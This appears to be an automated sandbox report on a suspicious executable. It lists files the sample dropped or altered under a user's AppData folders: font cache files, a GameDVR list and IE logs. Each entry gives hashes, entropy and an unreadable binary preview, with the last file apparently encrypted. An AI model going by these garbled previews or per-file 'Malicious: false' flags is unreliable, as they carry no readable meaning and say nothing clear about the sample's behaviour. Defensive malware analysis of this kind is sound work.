.u...BG.....)..Gt..n....?.....N.:..g....S..{_...%?...,....3.......w~..7......N..v...JX...UBR.j..ju.....G#3$f..].9:t.Z.?.5....o..Gd....j...MU.{tXVf..x.......9..1...^.C.9...'B.O.n.%.wMdx..ihb..'D...n\|.I..x...Uz.E...S..'u..."........FI./..L.0....O...2.i...S/..n....r.)......B.8.;7.>#...S..l...x<.xmK.B...0v.....oZ...M..mD0........W<...>.....+^........2..2.nz...O.0Hx~.m.m#.W...+....E0....g...L.".....7...x.}.b1............X.........q.)....h..!.]/.G...u...M4&....x...,w.\|.8..6W...^...... !...q.C

C:\Users\jones\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\29442803203.ttf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	241750
Entropy (8bit):	7.260084061535834
Encrypted:	false
SSDEEP:	6144:ZcaLGWoj8vddcwLll/WBqcf6/7s9v937sWSvq2X:mjHj8vD7zWRk7sn3kp
MD5:	3869299E31CB753DACD76F8BAC485335
SHA1:	0FDEECF8B7168D15BF80C535FED770B25769F952
SHA-256:	4E3F9012A1031F0BE2EC53632C67B7F814F31CB2AAC9A78440BDD4A5EF56F536
SHA-512:	FFEEA20F1B1706CC493C1DD3148D4A9EA3FF6DF95F50DF5A65D8FC5E10DAA4F79271DA04DBE4E85F30D7EF201C0512E501A9AB16C2B6603F795BD5461B9750D6
Malicious:	false
Preview:	.......i....Oo.J.U?R.RsQ..<B.nD.U".?d'......XB.N2..6..Q...y?...,..lG.Au.%..d".l....:.?..b.$..........%i..R...o.e...wo.c...;.V.....?..%c..{..1.{Ej9.C......~J2...sx.)..=.X.......(......{..x.......X....g...`..j.%'O..w(.....i(.....`&".[.P.,..S/../..)..Bq.]...,.&..b.9...:..-.Q.6.4'.........Y....}8.A/..\~.....8.Q..\|m.Z..4.E..q....T..sX.t8..U.....4'....=X6.Y...n.......%d..ZB...(m..R.K.V.-{P_.`P.......(...E/br...(Z^M..S..3.....C.TG.rf..u...W_...--Wz.@....a.o.H.Z.P.Q.]..M..,....h....V-m1..).{..~...W.Ug./..f5..8>m7..-..!..+<}...Y...$..s.}..i..a...z.yj.+-.s..#(.........(nj......\......?O.&v..... f.....g`.iOY..I..t.>F.......^..'C...........:_...m.X..bE..\....G:......6`e...m.vJ.,..O_...g.+..z.Y.eP.}.t.(.>....7.Lf.\.(.....nc..pkbl.....5.4...)..;..-V.`<...[.Jm..J.ZI2...Fd.0..6w8.z.....h7..../.Z...(C.jY........../rF.....'.V,E-..yn.c:..fJT..........}.0..}.....KF..AC.I.....X]F.D(..C..v.....H.......H]..aN.....".%.......B....t.[.....^et.\a...c`......+~.b

C:\Users\jones\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\30264859306.ttf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	238962
Entropy (8bit):	7.231107062180547
Encrypted:	false
SSDEEP:	6144:xXVzghTGVP213N/tNELHfsBPxBvdb/tDpAP:XzwTGVAvisrdpqP
MD5:	03725E651456DBED969F91FA13F32E9F
SHA1:	EDEA1C4273E06BC076A5C869D820E8196275D217
SHA-256:	641AF4F68AA3E67F8CB306479E5060640ADA944CE3B556FF6D8898FF090C16A8
SHA-512:	1F57CF2213F9128628117330E18CAC9A1625F87796678A2090812187FE11272C11BE3CB2C9405BB10BB47BB775EC054B31A34B92BB880E69C500DDC3FEF63E8F
Malicious:	false
Preview:	.....HB".~..To....V.5!.].....E.".e79....U^h.%.............a..l>.d.?.....i.."k.1..S.L.N.'^f..g..".j..N.....o...Bh\|......2.....:;.. .....%..`..B..n.b.L..d.7.....&p.X.O.}8..l..`..~o4.t....#.~.4M.......9.gYRNH..a\|..,..w~vE78!..4..W....7.{3....X`...k...C...@....>......t.i.......g.T....y..E.%.X....X..l..=.U...H#.{....i.tg.\|.../....&}..a..t/..e..6o..;W.;.....@.R.zv..R..j.<.<7..i..5.-..g.'........Ue1.....v.@.Q>....I.......,.z....Y.....@.....Ro;....q;.2.B[-..o^'.i..n.(Y.\|z.`#k.L[.64.g+...z._.@........V.C.\|dr.2....dP...@Rma.Ug.j\|yy;....1..O......~..=.3)...9=..x.1.....-...8N.K.. D..~..._.w...3...W.%$$..6...nPuB...,.c..b..+g.}...G..z...>..?92.Z..Fp0.h.....M..n.F:.y..g:.T......O.l.. r7..9....Xm...ILDZ.&.....o\.c.. .........j.`=+ ..x..G..f..i.....{2.L....[oV..M`f...6\Z..3.7.tK..v.e%..i....s..$.O.8{.q.ICde<...9.'m.....L...J..b.c...6.E4.e.!K..=.Dl+..#..M....].ZY.7.....`.....O..z^.....jF.E....v...v......$o]..U"..M.+..b5.XL\....\|Nl...X.s........L0.1...G.....e.[

C:\Users\jones\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\24153076628.ttf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	237902
Entropy (8bit):	7.238717394638357
Encrypted:	false
SSDEEP:	6144:3w8HNosirSMUh8+btPMBvooMOu6MzsuV4icT:7NcmMUhM9u6MznV4jT
MD5:	12908B75B7EA476DCF87A977920DA4F4
SHA1:	B249F2764CE7D4BB899904552DB66F6F7DA6CDE9
SHA-256:	10CB883E58BEB193903BDE00BAF05E024139348E29823041BFB69A8E61C3C86B
SHA-512:	09823326D53DBDF50A405ED83F6940431E99CF508A78EA8975673E6F95B3CE3CE5BDF228A92737491E1AE5E0FC3FCB91E0E109926D0A2BE7B8864DEA7F97A3E2
Malicious:	false
Preview:	........J....q`.....)b.N.W.3$...SK.......7T..$-........t.$Q}..7.`...[.ff..{..nv`..._%.....`....8j.]]..!...T.-....Y......P..4m.cz......I......P...L.?.,..vS.mq.......a....X5W@..j...s.$....P........Z(.\ ..QjFd..=.p7!g..1(....).>?9.........Q.Yk...."v...Y.y....z..g....t....W.d......P./..=..o..0;h..c....F...........ZeNp..R.J..........r.~zy.G>.>o..gn....5\&`.J.\|.X....+.a..'X.EY.P.(3.#.s...B.P..a.s...%M...sO.P.).E.z.` ......io.w.XS.....3.S.l`?.&....[V-...+<...u.M/......I..S.K...F..m...2....;D.AW..J.^;6E.q.....#0[..X.%5.Ds.$4.........:...?v.W..+..`U.........}...v/.+Fn.,=c..<Q..{.a.K.:q...,.&.k..U.H..p..hu..20.a..\|J.6....-...@......L{s...+....T5m.k...L..65z..`F.a.d(.....s...Miv..P/..&z.m.W..:./.B4.q.'.........q.M.@ x.x..l..g.=i\|8.Pp4R.s....b^.c....v..:..O.yF_Tx.,+...pB.+.E_L]..[.....K.<..*..i.z...^..i.......M.a.9...1kK.m\|...n...!.a.."...P..o4.u4.W...h\kM$.,..w.......d...b.....V.;N.} .[.n......n.\-....T:...v.0...".Gi;o.A.@).b.N.(.@N..'-[..vZ.;7..U

C:\Users\jones\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\30284701761.ttf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	241378
Entropy (8bit):	7.259527461483146
Encrypted:	false
SSDEEP:	6144:qyDENGnOQoAGex1vwyByIasMOphDtPcwB7:qyDcGnOyx1PgBgJtPcq
MD5:	033AE0E39E13DB9D033CE24AF23DBB9C
SHA1:	03E7EDE4C3328FF84758C17A67C97435D4C21B07
SHA-256:	6E46900A76C2DE244937C1C337FC7B73DA4F7EB17EB8CF671C048132E390882A
SHA-512:	D7833FC884A5154580B27DC68ADAF38234D87E4D6D5529E56F18D5A81A8C9EF419D9914F89899BBD4C0942ECA26D04B65B5D06EF71376AE0D98271C4E08151C7
Malicious:	false
Preview:	.........q..,....."....gW...u.....d. 0...g8.....x.t.]U..@\.fJ.E...~...:....s....O..K.".6Y. .._..9D .... .g2._.... ..$..M..#+.}.G...wQ.+ epB.?#TY:?....n.u.u.s/...\|$.%....P.X.,..........U.D5p.....gD.>.....F.R...[.^.....~+?)...=.6HIJV...?...[W.MG.0.+..;.&..<.5.=y.5.Y.&t..6.M..-..:.7'B...v...&Ow>.3.H..$o".N........'...@.......Q.5JLa..(........ck......9...+....Z.=..%V.=>.\|..x.......8jl.....3j..D...\.%......E'gk.n..;.).......f.'...K;..C.F.?..m.!.X.5.L>?~...T.O. ..Fx..&..h5....J.g....T./.@(.d....Ln..%...9.//&.h+.....]y...2CF......K.0_....W.o...\..u.I.z..h.(/......5...}.].....'..a.......V...WtNG.....X..zn3.,~"p..{o.a..iF.)T........&2)..g..+..7..G.d.>7 o[..VX. J.d.U{..oG.e......U,}.f..[a.@_4..W.m...gSC..3....U5..ssS.Q.....K..-A.h~-.5.Q.F.2..Ca..Ha.....x...re..k.......]S.h.............n...0.-LU..T..!..g..d.....\jm...q....[0%S...i........@N...F..9..Kn.../..@.....~.9.Tg.....?+.~k%..&.7...5..I.v...?-.7./`..a6....O....C.,Suf3?np..g.[....p%.....

C:\Users\jones\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\31558910439.ttf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	237738
Entropy (8bit):	7.239535414332834
Encrypted:	false
SSDEEP:	3072:MZaQujUNSLHn/TX2beXyjTy7KtNbp+cruCH2dxcX1dy8f3tMXKemKy1EAsP0Ujc6:pc+nJXmTqINocruCH2dxAdGmdqjc6
MD5:	FFB85B1CFEEE88A4349185702677401E
SHA1:	C697E830675AEB4365ACA315D846E1635699498A
SHA-256:	D5E010AB9023011EA229F5ACC21F60A138ED81323422DC1E7F6FC2ED81190C69
SHA-512:	A208318AD1EFBFA7B497A666625D4E0D580BE64BCE6C122BED68EE55704D42D79D44C489A53A8A03308BD6457DC58D672E6EEF9BD76AFD71C2D1A48434A3E67B
Malicious:	false
Preview:	..... .q_.....x\|0G.J....A.Zm7..;~p.;.tO].n.....l1..3.X..rH..%.A..`..5.}..$.f3.B..t..>,5....w.[.,-..y..Xv.w;..B].y:g...7.G7U/WQ^......n...../..gv].s3l..A..\]&..jsi...?.F.J.L......P55_. ,...u....].......k.8...nV@d..J.")......f..Y.k.E..v...Y ....x.$\|.1..l.4.j.B.[.<.."h..GL....~QQ...g..`..5H79.`L...a%.~=.'..`M=Y...Z....h.........d.e........cY-.b... _..+...R.i......#..<....EeZ.M.yU..5...s.,A[....l....G.4.Y..y.2wk.!\H.F...C.w........X..\|.)..z].....Z...~"x.b..n.4.....=..p.......{&.aZC.....c..Qna=..1...x\|vM..V.:.p...I.xx..~A_...y......:.&l.f..%Y%d".y....k.D..:?....Tc.!...w.....Nu.j4*e..S.....].I.J....B/.#..5"\1.= .T....$z...}e..)..>.{...a.p.B...j.0."E....".7N.k..k.K ...I......_!...=R..P.SY..U..P.].i...o`,/....9....<.lj W....!..^B5\....!$.BI.urBY.Xy.e..^. ..?'s..YO..6..C=.9w(..u..0.JM.....Zk..Ewd.....#..F.2.Wz~.([.3d+....e.;..'..4.^....ZR=..;.~..<......s.\|...:f.......(..E.Y.+j..LX.......q.$.9.)...b0}..!.G._....Y.S.9.Q..q..r4.s!qq.B......+..?h.`

C:\Users\jones\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\37262344671.ttf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	240706
Entropy (8bit):	7.264044350586237
Encrypted:	false
SSDEEP:	6144:3gCTpCkZBPCDUVJAINqdTC6A9o2VppnttSQ6yqU/qZ:RpjHPXVOI0du9XVpTsyRy
MD5:	C71841D5A484A387FEFCA5E18071589F
SHA1:	923076FB5E44A25DD6FA973147AEE18E3029D4F4
SHA-256:	9B8E10221AD3538F38A3698BCBF17D7B83DB026D6F005801981EF3807A49F87C
SHA-512:	DA04FD9B044419A190A45E91A4945E4D1075FDBFC44D10D72C2640B6682617FB152479507BAF7589F074BA037835635CD20697C1574A189A036F01A822168F84
Malicious:	false
Preview:	.....M......m..........~F.y.;...K.8I..]a....-2Q..h.....WK.F.Hh 5.&(. p..)........ee.q..1........\|.".L. ....2Q,iy.d..I.;...z....p..j.>C.H..n..{sh.".]...#.\.i..\|.p...9.....].....9Ka.\|\|...c.........L.....B.j.y.S....Lg....F..W.G..AL.;,.....{9.U.a.8{#8j..g..5....+..o.P.C."!a>.....w......?N....}..W. .Q.6Y.^a\.....O......x..P...^.5.\....N........,.....4.{.l.-.KC.]\.4\.4..e....r..?q."G..S.[z.x..-.K......,...._.j.. ..9R.1."..I..n`.Wx...x....f.=u.....Cf<..}.&Z...S...5."K..,s...Vr.;DB.....r..k&........in.N....\-FB.......H..[../...n.[q.)Z.R.........g..V1.5../.....}....c..5$r]E.D..>.NFL4....%k....$/..l...N.......R.'e..d..e..T..........<......m~.......K.$D.(Q.9... ..........^yuJ\|........,.X.=[>/.[Z....g...=%D...$...~..`...W~q..0C.K....X."....\|...@jR.../S.iS.Z..y......;.C.Z...s.vZ}I5Hl...K.(.Q.Gx.DlX.C%,......?FtE.#Tz./p.#sDl..%......b.Nn......K...3$*s..m.(......h.....(.A...z8......?kp........6.E`....g....l{.K ..i..N.A..;.....]....bo.wA.9.uN.jmf.g.

C:\Users\jones\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\27160079615.ttf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	238518
Entropy (8bit):	7.235407297374691
Encrypted:	false
SSDEEP:	6144:tk/1LLB+D3W4RfiQ+1A1iWUxHPaBKiQxvdb/LIAd:S15+DrfX0EiWivfbd3Vd
MD5:	41D8A12FF70F007BCF4F2CEB05599B44
SHA1:	7CD2E08E1AD91763D61164A8EAD54FCB90498D2F
SHA-256:	08D1DE1CEED023E8B76207146D7AFB9635EF1CD418932428B92F5F623B59D450
SHA-512:	83BD60C3F2EF2A5B20F613BAE22BBBDE5FB5360F61485DEB967EC1395734E969D21070C9A1033C90B38185C12CE80C115D773C33528A4A6CBE554457BC7C2B54
Malicious:	false
Preview:	.......vpp.x.Xe..z..b..Z.]D..t...Z.6Y.YN.6..\|.....c(.....P...B)...P....I..Y.M#../..y+..f.hn8g"o..`....d.Q..l...gvJeQ4..._..wih(..]...L_.b)Z.L.f.g...N[....n.;D.Z.b ...K..4...\....\|....U.f........M.c.Q.......[..j..ba..q..x.k.?..s.I.E..._.\.....E...RTg6..y+c..h}......./84N0...\|L...L$..D...+^...hO......f.\..T..r6A1IF.S..\|k..6K.......tI..R.....Bqx.5..d.V..DP."..f[....!..A..y/P..........F. <kd.\|....Y.P...!?...eZ...P+[..}c[...o>.u.....\..G~Z..Y_..E..}T#..w.sf.t.N...Y....yr...VZN.~h.!> .u.C...........px....8....JGh$.....;..3..$...w._........C....HLI.8!.)........8.a...NL......u.?..:.p.5.e....&-0.9.5h.kA.....K..r-.Q..w.x..!.....V...Ja..MP.4P{0{u...O..R.ITt....#.h.:.}.,[.a.d.=.[29..o.S .mY..q.S%.xE4......'........y..(...R~..... .b..:.)..v/-)......;[/.......=[M6'/.#.q.....A.\rx...'..ut.{..\|.............<..".JE7....{..".......~&..5...N......d....JU...t.?.[.L..Kir..@_1.,]_.~.uD@H.b.p5eSB..5$X.X...a..pLf=.U.EM$s..Ke.?}q?z...?...........e.

C:\Users\jones\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\28315153308.ttf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	241282
Entropy (8bit):	7.258922388085397
Encrypted:	false
SSDEEP:	6144:csU5UhItd8Fvq5bp7Ci8ABpE3bTZf62Je+Vi0L:cs63H8vmRxBW33/
MD5:	15B9B1D33039BBB27C7D714F9993A12B
SHA1:	D35FDC24E626B08DF9D35B98F1F7F4D513D3A81C
SHA-256:	249B6E85F8CCAC7DEE7A2609E5467CA8D1D754EF34436F010507F57D655036ED
SHA-512:	9D3F9B000C0CC1F2C1D6551E72B773031B588A9A6BCC001D50D456473F7018E7373C743553ECA3B84F858A60899085459C95281A1FBBCC25546FC0A4ADB7E94E
Malicious:	false
Preview:	......eqO..h.V....g`.f....NG..A....V.. .4L....".5.j.k..... .]...-p.J#.<..B.:..$r........~..l..?/...&...l...y.u........j..!......iDk.,c....k.Z..3..4.......v...\O......e...M.]j.k_'..0O.......+.w....Hj...c".....A..+{..'=m&....z.).f....m..../..u.V?..4....0i..=f].(..v}A.Yp......9....@?9.U..$..6Z....H).u"b\..th..Z..O.....z..W6. g.L%E.-..t.EB...s=..l.`N.r..h../j.\.....$t7.......:f.F...+G.y..N....'.'...C"B.~..'6.."I(?...(...D85.Q6X..Z.j@'..H....C....6P.Q.M..?.B.{.Y"..pW.v1...~n}.N.r''.o.{.Fda...6Tsp..4......8...H...b......c-.v......4...zJ....R.j...3.V..........K......._?..4\|s....E.T..........+....SKU....Dvw..!lg9..\|A$1/....@\|{...\|.1.om....T.~...@.,.........~...-qp......=sJ.o...Fr...R.\.-6H.p@..y..&a..NI....gi.tn.G...LI..1.].U2#@+5[...dz.#....L[K....K.J..p...=.'........U...[.C0.AB.....c..\|'....`b9^.5$6..0/.....qNz...!.....[..+.H...3C.....Y._u.z.....qu...d....,..\....S...D.v......is.d.`..r>E.<a4<? .u]..I/Wp.X..w:.'....=3.K....k..&.Pn.O....

C:\Users\jones\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\29939506207.ttf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	237946
Entropy (8bit):	7.233193702485514
Encrypted:	false
SSDEEP:	6144:RfkzAQ3bCTsN46bES/ef7xqhmzi2SXQOa/dKF2Ad:Rfkk+zN4UESWfvzDKVd
MD5:	EFD2B6D987BF99360AE1F654CB9D45AE
SHA1:	3EC58D2667A378A8DE56D64D608F126502D80AAC
SHA-256:	8B7F4036B4E971695C38736FC3D5A0263369C061B79AEF489A9CF807E6B5DA8E
SHA-512:	1513467671D4473D1736E418E57A55E1C7B594980EC8C4C2CB81CE984A73F0747A6F4087DCD1D4E15CB4C62766D479A9757B26A1CB7A72CD85FF20F21782FA59
Malicious:	false
Preview:	........?8}1.,.`.y.5C...l.6W........c..Pc.m<{+`.y.........i....v(zm.VD.m...<3.{O.....~...9.....B?..........c..K.?.G]gI.F\.....c..I.......W....D.]3.GA.o.6...K2..W.K+..2.s.8M.....d.Q......6.......R..W...!.>.S...x..Pv..=..p....t.-..G.o`.u.u`..O..j....,t......^].Ce..i._C...f+.6.@..9.J....h..g....{$....H.J......ZCQoHUY.e.?O.....$h.0K..S..ADz.BICDQ.<.7E....(..%.21...b.R........#.j.+..ea....N.oo.SZ...EPo....3..z.z.)b..rA5..X.sd$..._.iP...7.3...186.i....J..`.s.r.0HN.CE...<..Q....8r5...28...y........ ..l._.pa...v..P../.;x...8{.....m.V......eZ..).h=.xa....K....K.PAy=z...O.........s.7JK...A.I..>.zL0.X..P.....7..j.oA*l.r.\....<.o..B.<^7z...)..K.<..r.6.+.U..8.do.N./,..P...+gR.I.....:m.. ..j_^pu.I...T."..M.I..Eq.......]3.Y:.d@.F.........)....\...p,.x.....sC...1...."{8..1h~.&...e..._[.+..}.....f.e7.z_i...'.......V...e\....4;.c4..E.?"$6..........}.............V.a.....(uM. ...Gu@.q6..J.........&.._s...f....Wuve.......z.......T......z.s..,....C..k..qTG..{

C:\Users\jones\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\31169036496.ttf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	240470
Entropy (8bit):	7.265626500131708
Encrypted:	false
SSDEEP:	3072:+SwmLctv7s+5fAOrswTHE7GY0r/TSHEinM9wJxvT0/41NnPZ6hCnecDBblj:+EKv7s+5dL/r70pM2/TnbPYw1DB5j
MD5:	1C5CB2842125DA3B6A1C51BB09572852
SHA1:	2A14376B7C7A63D87C02CFE3CBF3F5E9414018F9
SHA-256:	8A57C4D5245CCA13C8349AEB18BACB70392C8A44D3850634C83D8C90418F221F
SHA-512:	A6C019960B1418DA8E4FBEB70361D1E4544B09948D7567BBC267D8BFCE7C3356602A93229ED499053DE24870C4A9D246C948FC2E5B688A7F77ABB9AD863778E7
Malicious:	false
Preview:	..........=..>.... ..n$........)O{4..M...8`..E.C$v.=.&.>.L.o.Qt..$.r}...>1..m...W..mT.......?2..).p..2..y.0......l.o.}.Q.AH:..Z...ud.._....~...\!..Qz....[m..#0...f..&0u....(.,...`.Y4.........~..+..9T..K1.[.....MH`F..x...'T%^..p.%J<.Y..H.5D....t..>.f.Y.e..g...b.w>'....y.>6.DFe{KD.N.]....{m@}?....r@->Ye.hbBo...}#P..a.yWL-sD.czr........1....l.d.b.A..$....a.....4...:.F.P.,bc...A..Q.........7F..NM.....r....U{.F,.!N...N.z..af/......A...5....K...gA..9hS}....T..o...T..[..zt+7......S..d.@..d..\|..y...RF..].g.....L. ..<Y.@..vY....$....y.8.).........F.>....{U...:H.P.VD._........Qncb..Sd..R..3......\|:../..s..........]..6.1Zg.m.)...g....y..c.v........uV.<..,..... .f..-.....r.....6....!...iR.V.:T.3...9.z.H&..n.$/{...k9..<.u.hW...\/'.4........f.%(w.R......F.I4H._C5.k..Mu............,..$..........*r......./.......]....i...{..O.=s.a#.....bo.e...\....a..#$..R.(H.<I\....A8...\:.T.9..jza.3JD.........=.J.l.lc......G..N...).G...=qq.e.?...b?. .p...

C:\Users\jones\AppData\Local\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_35.ttf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	759166
Entropy (8bit):	7.070372848730528
Encrypted:	false
SSDEEP:	12288:5+n2kIjAcyXXHyheIQ47gEFGHtAgk3+/yLQ/zRm1kjFKy6NyjbqqZyU1ovpPqxXF:dvUcy6Xg+1kYvN92R
MD5:	8757D2870FB37E16B51609AE3A11257E
SHA1:	798485E9AF1CB221BA95805CB9B8546D113D6B75
SHA-256:	2E9BF84BEA37E666E9BBB6C39FB58D58C7CA8920567E40B096C39EC121BD2DF1
SHA-512:	5FF65FEE55696D27B6D0A2859079000E71E0F5936EC7F625BACE0920CF9B3E9A6F4631060D2569CD85F86CCF52E540E3B5FB5FE10227E0FB815ED636B0A3851B
Malicious:	false
Preview:	........l.~.......Dd.x....n.<(./.n.b.rf7!K.G..c...D.......@.n..1...\\....f..r9'.at.Tp....B.!..]..[..'...D0;.......J.E.....E-.f....w.(3..m......G...9.:+.M....H.8..}T....~.i.+.....Z.$O.<5.j.....lMm[.rC.....6R&..3.8.;....R'..v.b..S..(..v......A\|..L..$.m1.Kl...+..7....M...IlK%K..S..J.\..4I../.XLL.........6+..1.Y2....$.Pe.H..?.L4.ir..p.....n..I.b...g.&.'F...KR...2x..F...68p.#.Do6..r.V.V..OH..J'..f...^..7..h..#>SY.I.%4..p...> ......1..c.E.,.B.jNY.?........V....CglT....E......]\|....&%KP.x.....9:{.._..xw..Ut.a..v...r..A...y..=<V.....j..0..c..a.[F6.(.5U..r.\|.....o.]..f..f...V.(8..9.h...}....6N$.Y.Z;..6We.....#...2..a!...Tn4.>2nS.6....]@..u...-....s.l!@.....w..X...&h.(.&G.NX..P@%..;+.{..T.Y..v...~.1.....#./7..j.t....n..\.....D.JB...}.C...`..H.".l/.....4.aW..7r4.k.?g.\.\.1G.l.UJ..cT.^..'.T..\|L3..e........_..q..6].z;......;.(....tF;.>.u'!...c.O.M.p.R......J................P{'?..1`?....%...._d.1....o.^.^H.\.F.\h...I......E..S.z=.....<.8.F*/..........@..

C:\Users\jones\AppData\Local\Microsoft\GameDVR\KnownGameList.bin

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	582670
Entropy (8bit):	5.267130337411212
Encrypted:	false
SSDEEP:	6144:upPXzIEae97CNEX1/R0/H/KT8pNbGNPLRdMlduU6/24J2:+PXz7aRNM1/GH/KAutubcJ2
MD5:	2D0FC8E8474DA04CE5BD32FD8E6A1927
SHA1:	D4706330ED39C4FF171A198F15F902CC6AA52133
SHA-256:	57B681A1FBF8D9835A7F0EA2F38E4AE6B5A7683618ED25D05E9C2F7D64523771
SHA-512:	FBAD5507990E31297BFB6313DF3DC3DD442E25ACD6560DF51F5F15BF35217CFCA77505DE00591614C422F516CD9354B8C8A915ADEF0705C1CA67078CC12244C7
Malicious:	false
Preview:	......yR..9z.$R .E.3-.m........FX...+.7...].AkN....b.#...O...U...Y.dI=.....y.?.....UX.g.E....<......93<....,{<...~..g.........r.rN...n...H_.1....c\|...aK<L....O..Lx.......G7..K..Q...Z..j$dz?i...V.<....~.Ddq.).-p.....t........[.7...t<.z.....tJe.5......(..S.!...T.....U}.."Mp...t4.-. ...\|H%#...}.0...E%.K....g..........m......k.....6.p'.~D.....O,.X.x.Y.E.WQ..7.....o@~A...^...yI..4.Mm.+T.r.S.m.Pp...r.M.>..`9....JP.$..{..Sd.......G.c......ML......A.......7.&.(...............d..?.$b.K.....o....o..2.i....?R..........p.Y"5...I?.m.o.....-.Ji`BNB.K...,% .P<.@.5........ @+...Y.b....}c3_..<l>1Q.B.8..$..<.._$d..#.e.l.E-..a.;YjB...5..^6.$%..a.XT8.c..zt..\T..Ss.....A..3.&.L.....:....S&~..$...l..!...;.....e./-.......!....."Dh.NK..B.EC.eq.I.7......._.x.7....U..h.......\|.6...0.d.......i.^.....X.u.....o..z.!.R.~.%..+.p.sO.e..*;..c@.&..P.....~.E.%.\|...Qx..[..e.ZP\..B....6M+.i..Y....4.s..U^5..j6Y.g...0..O.1.cg.......;c...C..p....F.[.KH......^M2

C:\Users\jones\AppData\Local\Microsoft\Internet Explorer\brndlog.txt

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	6906
Entropy (8bit):	7.977668601166405
Encrypted:	false
SSDEEP:	192:qkDPfiMJE4WXPBDRQO2NoKoULayEBrZELpjQ:rP1JeZjrZULayCoZQ
MD5:	67ABF12ECBE4C9B7246F90E1E3B4C155
SHA1:	8F372C297B972D08A6F9F7F14B81393F0B3926FE
SHA-256:	C944EF78971E5FD0D8BB0C47F6BA909E73CBDE5B0507BACA009EB54B11A46868
SHA-512:	61563ADB0DB3EC15FE60574F706703977E2F43968F0408A3CEC77E9B9AC614055765F4F214448EBA7731F2B310657158EFAD8D99D3FD175A272128269BA48B86
Malicious:	false
Preview:	10/03.5....bM....?KJ1q)...........pM_.S..Y.....i.B..).....d..s.8.T....l._lJX....@n.k..(.m..V......].&.\|.m...9.2.wC..J.>..C..........\....M.C.. ....b...A..#~&.COk.............}.....r......2...V.J...V...KD..O......S.....J.w.o.1..l`fg.......+.\|.?'.&v....?/.&..i.Io..[.m...GUL4B...1..K ..3.<^..G........4w.NpI..B....9e..\n...X..Y.+..s.......g.[.7+.o.pq.#...l.-..q..1.....(.,..#....z#.e,.......L.w..<.a..$...m..^.V..B2J-...gv@.1.x../v.J...>..J...r.....9.....ca..?.x}.qG....Z.."M..4\|R......P.....v..}R...c...j..4%.b.LI...5.l}u....k)]L....M4.e.M...r}.....$.H...i.S...?.9G...........lJn.I..+9...Q,\...oX.v#...7.f..{2.(...W.EY3..'.X.NCo...AG+.o...V{}.....z%...]4.....^......y.#.z.....W@a...1..>.j.[...%A.q......-..aE..p.b.c.&ZB.l...Z..{p....&...l..*...^...![.w...G,.M.......n.5x...OX...{..cp....Y..x.5..i.l..q...:.B.6.\)....)1..D..z$.a.....Eh.6.........>+..U.<S.5)..hK..q....:-..z#B$l....0..^...<....$.a...p-....c.ZZ.H..a...tU.o.S.0 ......0.....>..WwY....w..)..

C:\Users\jones\AppData\Local\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (416), with no line terminators
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.740885792389724
Encrypted:	false
SSDEEP:	24:Qr0MmVPi9SE8Xmh9KuCMpBPqWvIJDXq8uWbD:iJlSE82h9KLaiVXFuED
MD5:	0C5178FA480E72361F223B3DEA858718
SHA1:	18A696DFDD4F8D0DD205F98F3D0483681EB23D2C
SHA-256:	4F94473D4564BAD85D2E9B926F048E2482755A60779F9456C43E2321DDACB6B8
SHA-512:	B08FE38E0D650FEDDDB390ADA7879AF8D5DAAAA8E0F74663EAEB13AE7A995A4CD351892CC8574AF04C7F90C88C9E1A81C0409C771C333FC000898765F5A3F684
Malicious:	false
Preview:	..1.0)T..w.~:.....0........W.J..@..AFY..%L..z....N.%b5...j...v\|_....=9...&..6...Ka.O....8..$.d.#~.=.'.3V..l...j..K8...g.....#qO.B_B8....{..`=L.......D.1........\...H.n.q..\......._.......=...?.0.w.H....[..w.....`./..n....,...Y.....{C#L.T}p.C..M..\..o..X.u..(...\.?#....:rU....}.......R.(Q..`...1:..x.5....i.;."...a..............7.$...dGnp!5+..^..B}....a......K.%..Co".t..7.W5.....`wy..add..5.6>..7.;.y..l1y....b..s.....J.]...0"fZ^Xy..M.z..O#cBy&..i......ar..........i.F....U..7"...Q.3/.:@......\|...Cz... ....n?...6...d.%'...F....h7.....yR...C'....7>.T...B..b......M...:WH...09d.......kX.D. P)...>s....b......D....Y..c...+.nQ2.$Gt:..K.E.-.{...v3._2r6.-..j?_.+...k.....tR.s...'.+."..1wg.y..m...^."t'j.$O[..6.."i...~*..V.V..$..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

